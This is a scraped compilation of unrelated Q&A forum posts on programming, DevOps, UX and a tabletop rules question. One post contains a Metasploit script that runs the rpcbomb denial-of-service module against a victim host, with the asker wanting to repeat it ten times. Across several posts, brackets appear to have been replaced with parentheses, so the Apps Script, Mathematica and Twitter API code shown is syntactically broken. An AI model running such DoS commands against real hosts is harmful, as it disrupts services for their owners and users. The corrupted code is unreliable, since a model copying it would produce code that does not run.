triggers – DML statement to add multiple accounts in single step

I want to add multiple accounts to the salesforce object from the anonymous window. I know how to do that using the below code

 Account acc = new Account(Name='account1');
 List<Account> accToAdd = new List<Account>();
 accToAdd.add(acc);
 insert accToAdd;

but when I am trying to insert multiple accounts(see code below), it is giving me error as “Line: 1, Column: 5
Unexpected token ‘<‘.”

List<Account> accToAdd = new List<Account>(
 { new Account(Name='triggertest4'),
   new Account(Name='triggertest5'),
   new Account(Name='triggertest3')
 });

insert accToAdd;

can anyone help???

e commerce – How to manage shipping to multiple addresses during checkout

We are allowing shipping to multiple addresses during checkout for guest customers. The steps are a lot simpler for an existing user since we can pull addresses from their account for them to choose.

However, guest customers have to do the following for every address:

  1. Input address
  2. Choose product(s) to ship
  3. Choose shipping method

What are some good examples you have seen in the past? What are some considerations to look out for?

magento2 – Magento 2 – Ko Js – Multiple Instance of component in the same page

I am trying to add two templates with the same component, but i need that each template do not share observables and computed this with the other template. I need each one have it own instance of the component.

Is it possible? i spend some hours and i could not find the solution even in this forum.

    <div id="inbox" class="inbox-wrapper" data-bind="scope:'inbox'">
    <div class="inbox" data-bind="click: toggle">
        <i class="fas fa-envelope fa-lg"></i>
        <span class="counter" data-bind="text: messageCount, visible: messageCount, css: pop" style="display: none;"></span>
    </div>
    <!-- ko template: getTemplate() --><!-- /ko -->
</div>
<div id="notifications" class="inbox-wrapper" data-bind="scope:'notifications'">
    <div class="inbox" data-bind="click: toggle">
        <i class="fas fa-bell fa-lg"></i>
        <span class="counter" data-bind="text: messageCount, visible: messageCount, css: pop" style="display: none;"></span>
    </div>
    <!-- ko template: getTemplate() --><!-- /ko -->
</div>
<script type="text/x-magento-init">
    {
        "#notifications": {
            "Magento_Ui/js/core/app": {
               "components": {
                    "notifications": {
                        "component": "Digibart_Notifications/js/component/notifications",
                        "template": "Digibart_Notifications/notifications",
                        "identifier": "<?= $block->getIdentifier(); ?>",
                        "options": <?= $block->getJsonOptions();?>,
                        "elementsId": "#notifications"
                    }
                }
            }
        },
        "#inbox": {
            "Magento_Ui/js/core/app": {
               "components": {
                    "inbox": {
                        "component": "Digibart_Notifications/js/component/notifications",
                        "template": "Digibart_Notifications/inbox",
                        "identifier": "<?= $block->getIdentifier(); ?>",
                        "options": <?= $block->getJsonOptions();?>,
                        "elementsId": "#inbox"
                    }
                }
            }
        }
    }
    </script>

How the task is divided between multiple cores to perform in multiprocessing systems?

I am trying to find how single task is divided between two cores? what are the methods makes them work at the same time without interfering with each other?

ssh – Ansible unable to reach multiple hosts

I’m new to ansible but are having basic issues reaching multiple hosts via ansible. I’m able to reach all hosts via ssh and also if I use ansible to target any specific host in my inventory. It succsesfully reaches one of my hosts but fails all the others.

If run:

ansible all -i inventory.yml -u oytal -m ping

It returns:

192.168.1.90 | SUCCESS => {
    "ansible_facts": {
        "discovered_interpreter_python": "/usr/bin/python3"
    },
    "changed": false,
    "ping": "pong"
}


192.168.1.21 | UNREACHABLE! => {
    "changed": false,
    "msg": "Failed to connect to the host via ssh: oytal@192.168.1.21: Permission denied (publickey).",
    "unreachable": true
}


192.168.1.20 | UNREACHABLE! => {
    "changed": false,
    "msg": "Failed to connect to the host via ssh: oytal@192.168.1.20: Permission denied (publickey).",
    "unreachable": true
}


192.168.1.100 | UNREACHABLE! => {
    "changed": false,
    "msg": "Failed to connect to the host via ssh: oytal@192.168.1.100: Permission denied (publickey).",
    "unreachable": true
}

It’s not consistent wich host is unreachable, I shifted around the order of my hosts and even removed the succsefull one, and it will reach one of the others instead but still fail the rest.

My inventory:

---
all:
    hosts:
        192.168.1.90:
        192.168.1.21:
        192.168.1.20:
        192.168.1.100:

metasploit – How to run a meterpreter script multiple times

I have this very simple script to run a rpcbomb script from auxiliary/dos/rpc/rpcbomb for a DOS attack.

use auxiliary/dos/rpc/rpcbomb
set RHOSTS Victim_IP_Address
set RPORT 111
exploit -j -z

I want to run the script about 10 times but I cant find any method to do so

dnd 5e – How exactly does the Dispel Magic spell work with multiple effects?

The answer by guildsbounty gets Jeremy Crawford’s statement on what dispel magic is supposed to do, which is remove every spell. This is also how I believe the actual rules text should be read, so I want to address the grammatical structure of the sentence, because its construction is a bit awkward and butts up against some oddities in the English language.

You are correct that any refers to a singular thing. However, when any X of a collection Y (here X = spell, Y = spells on the target) does something, or has something done to it, the meaning of this construction in English is for that thing to be done or to happen to all of them. The logic here is that the statment, being true for any of them and not limited in number (e.g. not using any one or similar), it continues to be true for each one in turn.

Ultimately, though, this is hugely context-dependent, and even being a fairly nit-picky grammarian, I struggle to articulate precisely why this statement must be read this way. English doesn’t work in rules, but rather in precedent and pattern, so all I can say is that having done a lot of reading of English rules language, for that sentence from dispel magic to have precisely this sense and no other is how I read the sentence.

For clarity, though, Wizards of the Coast definitely should have used each here rather than any, or perhaps even better, all. If nothing else, not everyone using these rules is a fluent English speaker, and the vagaries of any, each, and all are very common traps for people still learning the language (though really, everyone is “still learning” this language).

How do you dynamically add multiple URLs into rich text for Google Sheets using Google Apps Script?

I have multiple links to Google Drive files in an array. I need to get the links into this format in the cell:

File 1, File 2, File 3

The links should be “File 1”, “File 2” and “File 3”.

The number of links is not the same in each row and I can’t figure out is how to dynamically add the correct number of links. The links are coming from Google Form submissions. This is what I have:

var fileList = ("www.link1.com", "www.link2.com", "www.link3.com");
  var richText = "";
  for (l = 0; l < fileList.length; l++) {
    if (l == 0) {
      var text = "File " + l;
      var newRichText = SpreadsheetApp.newRichTextValue()
        .setText(text)
        .setLinkUrl(0, text.length, fileList(l))
        .build();
    } else {
      var text = ", File " + l;
      var newRichText = SpreadsheetApp.newRichTextValue()
        .setText(text)
        .setLinkUrl(richText.length+2, text.length, fileList(l))
        .build();
    }
    richText = richText + newRichText;

Also tried for loops in the middle of the RichTextValueBuilder thing and there’s also a copy() thing but neither worked for me. Those bits of code were gone hours ago so I can’t post them here.

I’m not really that good at JS so it’s possible I’m making a basic mistake.

How to manipulate multiple solutions to equations while keeping variable names?

relatively new to Mathematica, but couldn’t find an answer online for how to do this more cleanly.

I am solving these equations in six variables that give me a number of solutions, which are given as a list of rules, e.g.,

solution = {{x1 -> 0, x2 -> 0, x3 -> 0, x4 -> 2, x5 -> 1, x6 -> 0}, 
 {x1 -> 0, x2 -> 0, x3 -> 1, x4 -> 1, x5 -> 0, x6 -> 1}, 
 {x1 -> 0, x2 -> 1, x3 -> 0, x4 -> 1, x5 -> 1, x6 -> 1}, 
 {x1 -> 0, x2 -> 1, x3 -> 1, x4 -> 0, x5 -> 0, x6 -> 2}}

My next step is I need to calculate $y_1,y_2,y_3,y_4,y_5,y_6$ for each of these solutions, which are some (unchanging) linear combination of these values. I am currently doing this by defining (above everything), e.g.,

y1=x1-x3+x5
y2=x3+x4+x5

etc, and then running

xypairs = Table({{x1, y1}, {x2, y2}, {x3, y3}, {x4, y4}, {x5, y5}, {x6, y6}} /. 
 solution((j)), {j, 1, Length(solution)})

which gives me a list of lists, where each sublist contains each of the xy pairs for that solution. However, I need to do a bunch of manipulation on these values afterwards, and as I try to write it as is, I get really messy stuff involving dozens of lines like:

 xypairs((t))((2))((2)) + xypairs((t))((4))((2)) - xypairs((t))((3))((2))

I feel there has to be a better way to do this. I want to first calculate the $y_i$ for each solution, and then somehow iterate through each of the solutions so that when I am iterating, I can access the $x_i$ and $y_i$ by some means that is simpler than using a triple index. In other words, if I were doing this in Python (where I am most comfortable), I would iterate through xypairs, and define variables for each of the x1,…,x6,y1,…,y6. This then allows me to manipulate xs and ys for the solution I am working with by using the variable name, instead of indexing. Please let me know what the best way to approach this is.

Thank you in advance!

Multiple URLs in the body of a tweet retrieved from TwitterAPI cannot be saved in Google Spreadsheet (Google Apps Script)

I have created a GAS code to retrieve tweet data from the Twitter API
and save it in a spreadsheet, using samples from other sites,
but I cannot execute the following points. (For more details, please
check the corresponding part of the code below.

*When there are multiple links in a tweet, only the first URL can be saved.
*I want to save the URLs other than media files in the tweet.

var SCREEN_NAME_FIRST = "hogehoge"
var CONSUMER_KEY      = " ";
var CONSUMER_SECRET   = " ";
var PROJECT_KEY       = " ";
var API_USER_TIMELINE = "https://api.twitter.com/1.1/statuses/user_timeline.json";
var API_USER_LOOKUP   = "https://api.twitter.com/1.1/users/lookup.json";
var API_URL_TIMELINE  = "https://api.twitter.com/1.1/statuses/home_timeline.json"
var SHEET_NAME        = "Tweetsave"
var LIMIT_COUNT       = 200;
var CREATED_AT        = 1;
var USERNAME          = 2;
var USERSNAME         = 3;
var TWEETID           = 4;
var TEXT              = 5;
var RETWEET_COUNT     = 6;
var FAVORITE_COUNT    = 7;
var ENTITIES_URL      = 8;
var ENTITIES_MEDIA    = 9;
var URL               = 10;

function getTwitterService() {
  var service = OAuth1.createService("twitter");
  service.setAccessTokenUrl("https://api.twitter.com/oauth/access_token")
  service.setRequestTokenUrl("https://api.twitter.com/oauth/request_token")
  service.setAuthorizationUrl("https://api.twitter.com/oauth/authorize")
  service.setConsumerKey(CONSUMER_KEY);
  service.setConsumerSecret(CONSUMER_SECRET);
  service.setProjectKey(PROJECT_KEY);
  service.setCallbackFunction("authCallback");
  service.setPropertyStore(PropertiesService.getScriptProperties());
  return service;
}

function authCallback(request) {
  var service      = getTwitterService();
  var isAuthorized = service.handleCallback(request);
  if(isAuthorized) {
    return HtmlService.createHtmlOutput("Success! You can close this page.");
  } else {
    return HtmlService.createHtmlOutput("Denied. You can close this page");
  }
}

function getuserTweetsfirst() {
  Logger.log("(START) getuserTweetsfirst()");

  var service = getTwitterService();
  if(service.hasAccess()) {
    try {
      var as              = SpreadsheetApp.getActiveSpreadsheet();
      var tws             = as.getSheetByName(SCREEN_NAME_FIRST);              // tweetシート
      var iRow            = 1;                                       // 書き込む行数の開始位置
      var lookup          = usersLookup(SCREEN_NAME_FIRST);                // /users/lookup.json
      var statusesCount   = Math.floor(lookup.statuses_count);       // 全ツイート数
      var division        = Math.floor(statusesCount / LIMIT_COUNT); // 全ツイートを200で割る除算
      var remain          = Math.floor(statusesCount % LIMIT_COUNT); // 全ツイートを200で割る剰余算
      var apiRequestCount = remain == 0 ? division : division + 1;   // APIのリクエスト数
      var max_id          = "";
      var since_id        = ""
      var apiUrl          = API_USER_TIMELINE + "?screen_name=" + SCREEN_NAME_FIRST + "&count=" + LIMIT_COUNT + "&since_id=" + since_id;

      Logger.log("statusesCount = " + statusesCount);
      Logger.log("apiRequestCount = " + apiRequestCount);

      for(var i = 0; i < apiRequestCount; i++) {
        var url      = max_id != "" ? apiUrl + "&max_id=" + max_id : apiUrl;
        var response = service.fetch(url);
        var tweets   = JSON.parse(response.getContentText());
        if (tweets.length < 1) {
          break;
        }
        max_id = decStrNum(tweets(tweets.length -1).id_str);

        Logger.log("tweets = " + tweets.length);
        Logger.log("max_id = " + max_id);

        for(var ii = 0; ii < tweets.length; ii++) {

          var d = new Date(tweets(ii).created_at);
            tws.getRange(iRow, CREATED_AT    ).setValue(Utilities.formatDate(d, "JST", "yyyy-MM-dd HH:mm:ss"));
            tws.getRange(iRow, USERNAME        ).setValue(tweets(ii).user.name);
            tws.getRange(iRow, USERSNAME       ).setValue(tweets(ii).user.screen_name);          
            tws.getRange(iRow, TWEETID       ).setValue(tweets(ii).id_str);          
            tws.getRange(iRow, TEXT          ).setValue(tweets(ii).text);
            tws.getRange(iRow, RETWEET_COUNT ).setValue(tweets(ii).retweet_count);
            tws.getRange(iRow, FAVORITE_COUNT).setValue(tweets(ii).favorite_count);
          var media = new Array();
          //******corresponding part******
          media = tweets(ii).entities.media;
          if(media instanceof Array) {
            Logger.log("media.length = " + media.length);
            var media_url = ();
            for(var iii = 0; iii < media.length; iii++) {
              media_url.push(media(iii).media_url_https);
             tws.getRange(iRow, ENTITIES_MEDIA).setValue(media_url.join('n'));
            }
          }
          tws.getRange(iRow, URL).setValue("https://twitter.com/" + SCREEN_NAME + "/status/" + tweets(ii).id_str);
          iRow++;
          //******corresponding part******
        }
      }      

    } catch(e) {
      Logger.log("(ERROR) getAllTweetsfirst() : " + e.message);
      MailApp.sendEmail("daiisi.0001@gmail.com", "(ERROR) getAllTweetsfirst()", e.message);
    }
  } else {
    var authorizationUrl = service.authorize();
    Logger.log("Please visit the following URL and then re-run the script: " + authorizationUrl);
  }

  Logger.log("(END) userTweetsfirst()");
}

function usersLookup(screen_name) {
  var service = getTwitterService();
  if(service.hasAccess()) {
    var url      = API_USER_LOOKUP + "?screen_name=" + screen_name;
    var response = service.fetch(url);
    var tweets   = JSON.parse(response.getContentText());
    return tweets(0)
  } else {
    var authorizationUrl = service.authorize();
    Logger.log("Please visit the following URL and then re-run the script: " + authorizationUrl);
  }
}

/* 
 * Decreasing 64-bit Tweet ID
 */
function decStrNum(n) {
  n          = n.toString(); 
  var result = n; 
  var i      = n.length - 1; 
  while(i > -1) { 
    if(n(i) === "0") {
      result = result.substring(0, i) + "9" + result.substring(i + 1); 
      i --; 
    } else { 
      result = result.substring(0, i) + (parseInt(n(i), 10) -1).toString() + result.substring(i + 1); 
      return result; 
    }
  } 
  return result; 
}

function onOpen() {
  var ss = SpreadsheetApp.getActiveSpreadsheet();
  var menuEntries = (
    {name: "Tweetdownload", functionName: "getAllTweets"}
  );
  ss.addMenu("script",menuEntries);